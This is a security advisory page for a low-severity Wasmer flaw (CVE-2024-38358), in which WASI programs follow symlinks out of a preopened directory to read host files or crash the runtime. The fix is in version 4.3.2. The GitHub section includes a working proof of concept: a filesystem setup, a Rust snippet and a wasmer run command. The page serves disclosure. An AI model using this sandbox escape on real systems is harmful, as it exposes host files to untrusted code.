2.9low
Symlink bypasses filesystem sandbox in wasmer
- Severity
- 2.9low CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.27% (higher than 12% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-55f3-3qvg-8pv5
Description
Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. This issue has been addressed in commit `b9483d022` which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| wasmerio wasmer | < 4.3.2 | CVE List |
| wasmer wasmer | before 4.3.2 | CVE List |
| wasmer (crates.io) | up to 4.3.1 | GitHub Advisory Database |
All scores
| GitHub_M | 2.9low CVSS:3.1 | CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N |
| GitHub | 2.9low CVSS:3.1 | CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. This issue has been addressed in commit `b9483d022` which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
GitHub Advisory Database
Summary
If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.
Details
PoC
Setup a filesystem as follows.
.
├── outside.file
└── preopen
└── dir
└── file -> ../../outside.file
Compile this Rust snippet with wasi v0.11 (for the preview1 API).
fn main() {
unsafe {
let filefd = wasi::path_open(
5,
wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
"app/dir/file",
wasi::OFLAGS_CREAT,
wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
0,
0,
)
.unwrap();
eprintln!("filefd: {filefd}");
let mut buf = [0u8; 10];
let iovs = [wasi::Iovec {
buf: buf.as_mut_ptr(),
buf_len: buf.len(),
}];
let read = wasi::fd_read(filefd, &iovs).unwrap();
eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
}
}
Run the compiled binary with Wasmer preopening preopen/:
wasmer run --mapdir /app:preopen a.wasm
This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.
NVD (es)
Wasmer es un tiempo de ejecución de ensamblaje web (wasm) que admite WASIX, WASI y Emscripten. Si el directorio preabierto tiene un enlace simbólico que apunta hacia afuera, los programas WASI pueden atravesar el enlace simbólico y acceder al sistema de archivos del host si la persona que llama configura tanto `oflags::creat` como `rights::fd_write`. Los programas también pueden bloquear el tiempo de ejecución al crear un enlace simbólico que apunte hacia afuera con `path_symlink` y `path_open` en el enlace. Este problema se solucionó en el commit `b9483d022` que se incluyó en la versión 4.3.2. Se recomienda a los usuarios que actualicen. No se conocen workarounds para esta vulnerabilidad.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-38358 changed 2024-08-02 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-55f3-3qvg-8pv5 changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2024-38358 changed 2026-06-17 | Public domain |